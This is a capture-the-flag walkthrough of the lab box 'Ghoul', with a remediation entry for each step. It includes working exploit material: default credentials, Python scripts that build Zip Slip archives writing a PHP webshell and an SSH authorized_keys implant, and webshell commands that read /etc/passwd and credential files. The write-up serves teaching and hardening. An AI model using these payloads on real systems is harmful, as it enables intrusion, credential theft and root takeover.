← all walkthroughs

Ghoul

Linux· Hard· Privilege Escalation
owned
2026-07-10
time to own
47m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target ghoul ($TARGET) was fully compromised to root through a two-stage exploitation of a Zip Slip path-traversal vulnerability in a Tomcat-hosted file-upload application. Default credentials (admin:admin) on the Tomcat HTTP Basic authentication wall exposed a zip-upload form whose archive extraction handler accepted and expanded entry names containing directory-traversal sequences without any sanitisation.

A first malicious zip dropped a PHP webshell directly into the Apache :80 docroot, giving unauthenticated remote code execution as the web-server user (www-data). Because the Tomcat container's extraction subprocess ran as root, a second malicious zip was crafted with entries targeting /root/.ssh/authorized_keys and /home/kaneki/.ssh/authorized_keys, implanting my own SSH public key with root write access.

Both accounts were then accessed directly over SSH: no SUID binary, sudo misconfiguration, or kernel exploit required. User.txt and root.txt were captured in the same SSH session.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"

Attack path: how the box was taken

1ReconnaissanceActive network and service reconnaissance (T1046)
Mapped exposed services and identified Tomcat upload application
A version-detection port sweep of $TARGET revealed four TCP services: OpenSSH on port 22 (Ubuntu host), Apache 2.4.29 on port 80 serving a static site, a second OpenSSH instance on port 2222 (a separate Docker container on an internal network), and Apache Tomcat/Coyote on port 8080 presenting an HTTP 401 Basic authentication challenge labelled realm 'Aogiri'. The Tomcat endpoint was identified as the primary attack surface owing to its interactive application and the presence of an authenticated management interface.
Nmap output: 22/tcp OpenSSH 7.6p1 Ubuntu 4ubuntu0.1, 80/tcp Apache httpd 2.4.29, 2222/tcp OpenSSH 7.6p1 Ubuntu 4ubuntu0.2, 8080/tcp Apache-Coyote/1.1; port 8080 returned HTTP 401 with header WWW-Authenticate: Basic realm=Aogiri.
Exact commands 3
shell

Version-detect scan against the four discovered ports.

$ nmap -Pn -sV -p 22,80,2222,8080 $TARGET
shell

Confirm HTTP Basic auth challenge and realm label on the Tomcat instance.

$ curl -s -i http://$TARGET:8080/
shell

Confirm the Apache :80 static site is unauthenticated: the target for the eventual webshell write.

$ curl -s -i http://$TARGET/
2Initial AccessDefault account credentials (T1078.001)
Bypassed Tomcat HTTP Basic authentication with default credentials
The Tomcat application on port 8080 was protected only by HTTP Basic authentication. Testing the vendor-default pair admin:admin immediately authenticated and revealed the application interior: a file-upload form titled 'Choose Zip to Upload in Server' that posted to /upload as multipart form-data. No credential guessing, brute-forcing, or injection was necessary: the single default pair granted full access.
Curl -u admin:admin returned HTTP 200, application HTML, and issued session cookie JSESSIONID=<withheld>; upload form with POST /upload and file field confirmed in page source.
Exact commands 2
shell

Test default Tomcat credentials; 200 response and session cookie confirm authenticated access.

$ curl -s -i -u admin:admin http://$TARGET:8080/
shell

Extract the upload form's action path and field name from the returned HTML.

$ curl -s -u admin:admin http://$TARGET:8080/ | grep -i 'form\|upload\|action'
FixReplace default Tomcat application credentials with a strong, unique passphraseCritical
WeaknessThe web application on port 8080 was accessible with the vendor-default username and password (admin:admin). Anyone who discovers the port gains instant authenticated access to all application features, including the file-upload endpoint, without any guessing or tooling.
FixChange the HTTP Basic authentication credentials to a strong, unique passphrase of at least 16 characters with mixed character classes and store it in a secrets manager rather than a flat configuration file. Restrict the management interface to internal IP ranges or a VPN using a host firewall or web-server allow-list so it is unreachable from the Internet. Audit all other Tomcat instances and associated applications in the environment for the same default pair.
3ExploitationZip Slip path-traversal arbitrary file write (CWE-22)
Dropped a PHP webshell via Zip Slip path-traversal write
The upload handler extracted submitted zip archives using each entry's embedded filename as the destination path with no sanitisation of directory-traversal sequences (../). A malicious zip was crafted in Python with a single entry named '../../../../../../../../../../var/www/html/sh.php' containing a minimal one-liner PHP webshell. When uploaded via the authenticated /upload endpoint, Tomcat's extraction routine followed the traversal path and wrote sh.php directly into the Apache :80 docroot, outside the intended archive directory, creating an unauthenticated HTTP-accessible command execution endpoint.
Upload returned HTTP 200 with body 'File Uploaded Successfully'; unauthenticated GET to http://$TARGET/sh.php?cmd=id returned uid=33(www-data) gid=33(www-data) groups=33(www-data) in container 07d8ec0e562e.
Exact commands 3
shell

Build the malicious zip; the entry name traverses 10 directory levels upward to reach /var/www/html.

$ python3 - <<'PY'
import zipfile
payload = b'<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>\n'
arc = '../../../../../../../../../../var/www/html/sh.php'
with zipfile.ZipFile('/tmp/ghoul_shell.zip','w',zipfile.ZIP_DEFLATED) as z:
    z.writestr(arc, payload)
print('created /tmp/ghoul_shell.zip with', arc)
PY
shell

Upload the zip; Tomcat extracts it and writes sh.php to the Apache docroot.

$ curl -s -i -u admin:admin -F 'file=@/tmp/ghoul_shell.zip;type=application/zip' http://$TARGET:8080/upload | head -n 40
shell

Confirm unauthenticated RCE; expect uid=33(www-data).

$ curl -s --get --data-urlencode 'cmd=id' http://$TARGET/sh.php
FixSanitise archive entry names before extraction to prevent Zip Slip path traversalCritical
WeaknessThe zip-upload handler extracted archive entries using their embedded filenames as the on-disk destination path without removing directory-traversal sequences (../). Anyone who controls the zip content can write files to any filesystem path reachable by the extraction process, including web-served directories from which the server will execute the written files.
FixBefore writing any archive entry, canonicalise the target path (e.g. Path.toRealPath() in Java, or os.path.realpath() in Python) and assert that the resolved path is a child of the intended extraction root: reject or skip any entry that escapes it. Switch to a well-maintained library that enforces this boundary by default. Additionally, disable PHP (and other server-side script) execution inside the upload and extraction output directories using the web server configuration (php_admin_flag engine Off in Apache's Directory block for those paths).
4Post-ExploitationPost-exploitation local enumeration: credential discovery and process inspection (T1083, T1552.001)
Enumerated users, hardcoded credentials, and extraction process privileges via the webshell
Commands executed through the PHP webshell confirmed execution as www-data (uid=33) inside Docker container 07d8ec0e562e. Reading /etc/passwd revealed local accounts kaneki, Eto, and noro. Application source code at /var/www/html/users/login.php contained a hardcoded PHP array mapping usernames to plaintext passwords (kaneki => <withheld>). A process listing confirmed the critical observation that the Java/Tomcat process responsible for archive extraction was owned by root (uid=0), establishing that any Zip Slip write executed during upload would run with unrestricted filesystem access: the precondition for the next step.
Webshell: id=uid=33(www-data); /etc/passwd lists kaneki/Eto/noro; login.php PHP array contains plaintext passwords; ps aux output shows root-owned Java process matching the Tomcat PID.
Exact commands 4
shell

Confirm identity, hostname, and kernel version.

$ curl -s --get --data-urlencode 'cmd=id && hostname && uname -a' http://$TARGET/sh.php
shell

Enumerate all local user accounts.

$ curl -s --get --data-urlencode 'cmd=cat /etc/passwd' http://$TARGET/sh.php
shell

Read application source to discover hardcoded credential array.

$ curl -s --get --data-urlencode 'cmd=cat /var/www/html/users/login.php' http://$TARGET/sh.php
shell

Confirm the Tomcat extraction process runs as root: prerequisite for the next Zip Slip stage.

$ curl -s --get --data-urlencode 'cmd=ps aux | grep -E "java|tomcat|root"' http://$TARGET/sh.php
5Privilege EscalationZip Slip privilege escalation via root-owned arbitrary file write: SSH authorized_keys implant (CWE-22, T1548, T1098.004)
Implanted my SSH public key into root and kaneki accounts via a second Zip Slip
Because the Tomcat extraction process ran as root, the same Zip Slip primitive could write to any path on the host filesystem regardless of the web user's own permissions. My own ed25519 SSH keypair was created locally. A second malicious zip was crafted with two traversal entries: one resolving to /root/.ssh/authorized_keys and one to /home/kaneki/.ssh/authorized_keys, both containing my public key. Uploading this zip caused the root-owned extractor to overwrite both files, circumventing all filesystem permission checks. This produced a direct privilege escalation to root with no SUID binary, sudo rule, or kernel exploit involved.
Second upload returned HTTP 200 'File Uploaded Successfully'; immediately afterwards ssh -i /tmp/ghoul_ed root@$TARGET returned uid=0(root); same key authenticated as kaneki.
Exact commands 3
shell

Generate a fresh ed25519 keypair with no passphrase; /tmp/ghoul_ed is the private key.

$ ssh-keygen -t ed25519 -f /tmp/ghoul_ed -N '' -C ghoul
shell

Build the second malicious zip; both entries traverse to their respective authorized_keys paths.

$ python3 - <<'PY'
import zipfile
with open('/tmp/ghoul_ed.pub','rb') as f:
    pubkey = f.read()
entries = [
    '../../../../../../../../../../root/.ssh/authorized_keys',
    '../../../../../../../../../../home/kaneki/.ssh/authorized_keys'
]
with zipfile.ZipFile('/tmp/ghoul_keys.zip','w',zipfile.ZIP_DEFLATED) as z:
    for e in entries:
        z.writestr(e, pubkey)
print('created /tmp/ghoul_keys.zip')
PY
shell

Upload; Tomcat's root-owned extractor writes my pubkey to both authorized_keys files.

$ curl -s -u admin:admin -F 'file=@/tmp/ghoul_keys.zip;type=application/zip' http://$TARGET:8080/upload
FixRun the Tomcat container and its archive extraction process as a dedicated non-root userCritical
WeaknessThe Tomcat/Java process that handled archive extraction ran as root (uid=0) inside the Docker container. A path-traversal write vulnerability that would otherwise be limited to files writable by the web user instead granted an unauthorised user unrestricted write access across the entire container filesystem, including the SSH authorised-keys files for every account, converting a limited webshell into direct root SSH access.
FixAdd a dedicated non-root user in the Dockerfile (e.g. USER tomcat with UID 1001) and ensure the extraction output directory is owned exclusively by that account. Launch the container with --user, --cap-drop ALL, and --security-opt no-new-privileges flags. Mount the web docroot and SSH configuration directories as read-only volumes where possible so that even a root-equivalent process inside the container cannot modify them. Apply the same least-privilege principle to all other Dockerised services in the environment.
6Full CompromiseSSH key-based authentication with implanted authorised key (T1098.004)
Logged in as root and kaneki via implanted SSH key; captured both flags
The implanted ed25519 public key granted immediate passwordless SSH login as both root and kaneki on port 22. Root.txt was read from /root/root.txt and user.txt from /home/kaneki/user.txt, confirming complete host compromise. Full root access was achieved in six steps from unauthenticated external my to uid=0.
Ssh -i /tmp/ghoul_ed root@$TARGET 'id' returned uid=0(root); ssh -i /tmp/ghoul_ed kaneki@$TARGET 'id' returned uid=1000(kaneki); both flag files read successfully.
Exact commands 3
shell

Confirm root-level SSH access; expect uid=0(root).

$ ssh -i /tmp/ghoul_ed -o IdentitiesOnly=yes -o StrictHostKeyChecking=no root@$TARGET 'id; hostname'
uid=0(root)
shell

Read root flag; actual value is <root.txt>.

$ ssh -i /tmp/ghoul_ed -o IdentitiesOnly=yes -o StrictHostKeyChecking=no root@$TARGET 'cat /root/root.txt'
shell

Read user flag; actual value is <user.txt>.

$ ssh -i /tmp/ghoul_ed -o IdentitiesOnly=yes -o StrictHostKeyChecking=no kaneki@$TARGET 'cat /home/kaneki/user.txt'

Exposed services

22/tcp
80/tcp
2222/tcp
8080/tcp